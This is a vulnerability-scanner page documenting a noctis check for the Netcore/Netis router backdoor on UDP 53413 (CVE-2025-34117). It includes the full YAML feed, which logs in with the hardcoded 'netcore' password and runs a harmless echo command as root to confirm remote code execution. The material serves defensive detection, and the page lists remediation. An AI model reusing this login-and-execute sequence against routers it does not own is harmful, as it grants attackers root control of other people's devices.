Netis — 1 vulnerability check

noctis ships 1 vulnerability check for Netis, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Netcore / Netis routers UDP 53413 backdoor — unauthenticated root command execution

CVECVE-2025-34117
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Servicesunknown, netis-backdoor
Detectionscript, udp_probe, set_var, match · highest QoD 97
Feedtests/vulnerabilities/netis/CVE-2025-34117.yaml

Netcore / Netis routers (firmware before August 2014) expose an undocumented backdoor on UDP port 53413 protected by the hardcoded password "netcore". Once unlocked, it executes arbitrary shell commands as root for any unauthenticated remote attacker.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. UDP datagram probe
  3. UDP datagram probe
  4. Parses / computes the next value with a Rhai script
  5. UDP datagram probe
  6. Parses / computes the next value with a Rhai script
  7. Checks v.exec for ^true$ → finding QoD 97: Netcore / Netis UDP 53413 backdoor — root command execution confirmed
  8. Checks v.login for ^true$ → finding QoD 75: Netcore / Netis UDP 53413 backdoor — hardcoded login accepted

References:

Feed source — tests/vulnerabilities/netis/CVE-2025-34117.yaml
# Netcore / Netis routers — UDP 53413 backdoor (CVE-2025-34117)
#
# Netcore / Netis routers with firmware released before August 2014 run an
# undocumented "IGD MPT Interface daemon" (igdmptd) on UDP 53413. Every datagram
# is an 8-byte header followed by an ASCII payload. The hardcoded password
# `netcore` unlocks it ("Login successed!"); once unlocked, any later payload is
# handed to the shell as root and its output comes back in the reply
# (Trend Micro, Aug 2014; EDB-43387; Metasploit netcore_udp_53413_backdoor).
#
# Detection (QoD 97 — confirmed command execution, benign proof):
#   1. send 8 x 00 + "netcore" (the backdoor login, as the NASL / EDB / MSF do);
#   2. send 8 x 00 + `echo NOCTIS$((<a>+<b>))END` with two random numbers;
#   3. the host is vulnerable when a reply carries the bytes "NOCTIS<a+b>END",
#      byte-aligned in the raw reply (matched on response_hex because the reply
#      starts with binary header bytes). The sum never appears in what we send,
#      so a UDP echo/reflector cannot produce it. The command only prints a
#      number: nothing is written to the device.
#   Fallback proof (QoD 97): when the arithmetic proof is absent but the port
#   answered, send `echo NOC''TIS<hex>END` and match NOCTIS<hex>END — shell quote
#   removal works even in a busybox ash built without $((...)); a reflector
#   echoes the '' back, so it cannot produce the marker.
#   Login-only fallback (QoD 75): the login reply alone carries "Login succ…" (the NASL's
#   check, accepting both the "successed" spelling of EDB/NASL and the
#   "succeeded" one of the Metasploit module) — the hardcoded password was
#   accepted even though our command output was not seen.
#
# Better than the NASL (2014/gb_netis_netcore_backdoor_09_2014.nasl):
#   - proves root command execution instead of only the login banner;
#   - the unlocked state is global on the device (EDB-43387 shows a second
#     "netcore" login being run as a shell command: "sh: netcore: not found"),
#     so an already-unlocked router answers the login without "Login successed"
#     and the NASL misses it — the command proof still fires there;
#   - does not require the "Login:" prompt to an empty datagram first, which no
#     public PoC documents.
#
# Side effect: like every check of this backdoor, the login leaves igdmptd in
# its unlocked state until reboot. Tagged `intrusive`, `category: rce` so scans
# can exclude it.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_netis_netcore_backdoor_09_2014.nasl
# (OID 1.3.6.1.4.1.25623.1.0.105075, GPL-2.0-only).
uid: 71feef48-985f-473b-a9ee-be67b126774d
name: "Netcore / Netis routers UDP 53413 backdoor — unauthenticated root command execution"
description: |
  Netcore / Netis routers (firmware before August 2014) expose an undocumented
  backdoor on UDP port 53413 protected by the hardcoded password "netcore".
  Once unlocked, it executes arbitrary shell commands as root for any
  unauthenticated remote attacker.
cves: [CVE-2025-34117]
cvss: 10.0
category: rce
severity: critical
confidence_base: 0.20
tags: [netis, netcore, router, backdoor, udp, rce, intrusive, hardcoded-credentials]
# nmap has no name for 53413/udp: it reports it as "unknown".
services: [unknown, netis-backdoor]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2025-34117"
  - "https://www.exploit-db.com/exploits/43387"
  - "https://www.rapid7.com/db/modules/exploit/linux/misc/netcore_udp_53413_backdoor"
  - "https://www.vulncheck.com/advisories/netcore-netis-routers-backdoor-rce"

steps:
  # Per-run markers. Every datagram is 8 zero bytes + payload + a trailing NUL
  # (the NUL is what h00die's netis_backdoor.py, tested on a real router, sends;
  # it keeps leftover bytes of an earlier datagram out of strcmp()/system()).
  #   primary:  echo NOCTIS$((a+b))END   -> NOCTIS<a+b>END
  #   fallback: echo NOC''TIS<hex>END    -> NOCTIS<hex>END (quote removal, for a
  #             cut-down busybox ash built without $((...)) arithmetic)
  - id: build-marker
    action: script
    store_as: mk
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let r = rand_hex(6);
      #{
        cmd_hex: "0000000000000000" + hexstr("echo NOCTIS$((" + a + "+" + b + "))END") + "00",
        proof_hex: hexstr("NOCTIS" + (a + b) + "END"),
        proof: "NOCTIS" + (a + b) + "END",
        q_cmd_hex: "0000000000000000" + hexstr("echo NOC''TIS" + r + "END") + "00",
        q_proof_hex: hexstr("NOCTIS" + r + "END"),
        q_proof: "NOCTIS" + r + "END"
      }

  # Backdoor login: 8 zero bytes + "netcore" + NUL.
  - id: login
    action: udp_probe
    port: "{{port}}"
    send_hex: "00000000000000006e6574636f726500"
    timeout_secs: 4
    store_as: login

  - id: exec
    action: udp_probe
    port: "{{port}}"
    send_hex: "{{mk.cmd_hex}}"
    timeout_secs: 5
    store_as: ex

  - id: verdict-arith
    action: script
    store_as: va
    code: |
      let lh = if type_of(login.response_hex) == "string" { tolower(login.response_hex) } else { "" };
      let eh = if type_of(ex.response_hex) == "string" { tolower(ex.response_hex) } else { "" };
      // Byte-aligned hit of the computed proof in either reply.
      let ie = stridx(eh, mk.proof_hex);
      let il = stridx(lh, mk.proof_hex);
      #{ exec: (ie >= 0 && ie % 2 == 0) || (il >= 0 && il % 2 == 0), lh: lh, eh: eh }

  - id: init-exq
    action: set_var
    var_name: exq
    var_value: false

  # Fallback only when the arithmetic proof failed but something answered.
  - id: exec-quote
    action: udp_probe
    condition: "va.exec == false && (ex.responded == true || login.responded == true)"
    port: "{{port}}"
    send_hex: "{{mk.q_cmd_hex}}"
    timeout_secs: 5
    store_as: exq

  - id: verdict
    action: script
    store_as: v
    code: |
      let qh = "";
      if type_of(exq) == "map" && type_of(exq.response_hex) == "string" { qh = tolower(exq.response_hex); }
      let iq = stridx(qh, mk.q_proof_hex);
      let q_ok = iq >= 0 && iq % 2 == 0;
      // "Login succ" — successed (EDB/NASL) or succeeded (Metasploit).
      let li = stridx(va.lh, "4c6f67696e2073756363");
      #{
        exec: va.exec || q_ok,
        proof: if va.exec { mk.proof } else { mk.q_proof },
        login: li >= 0 && li % 2 == 0,
        login_hex: va.lh,
        exec_hex: if va.exec { va.eh } else { qh }
      }

  - id: check-exec
    action: match
    source: v.exec
    pattern: "^true$"
    on_match:
      finding:
        title: "Netcore / Netis UDP 53413 backdoor — root command execution confirmed"
        description: "The backdoor on UDP 53413 accepted the hardcoded password \"netcore\" and executed a shell command: the reply carries the result of an arithmetic expression that never appears in the request."
        remediation: "Update the router firmware to a release without the igdmptd backdoor (after August 2014) or replace the device; block UDP 53413 from untrusted networks."
        confidence_delta: 0.75
        qod: 97
        evidence: "Sent echo NOCTIS$((a+b))END (fallback echo NOC''TIS<hex>END) over UDP 53413 after the netcore login; reply carried {{v.proof}} (reply hex: {{v.exec_hex}})"

  - id: check-login
    action: match
    source: v.login
    pattern: "^true$"
    condition: "v.exec == false"
    on_match:
      finding:
        title: "Netcore / Netis UDP 53413 backdoor — hardcoded login accepted"
        description: "The service on UDP 53413 answered the hardcoded backdoor password \"netcore\" with \"Login succ…\" (command output not observed)."
        remediation: "Update the router firmware to a release without the igdmptd backdoor (after August 2014) or replace the device; block UDP 53413 from untrusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "Login reply to 8x00+netcore over UDP 53413 (hex): {{v.login_hex}}"

View these feeds on GitHub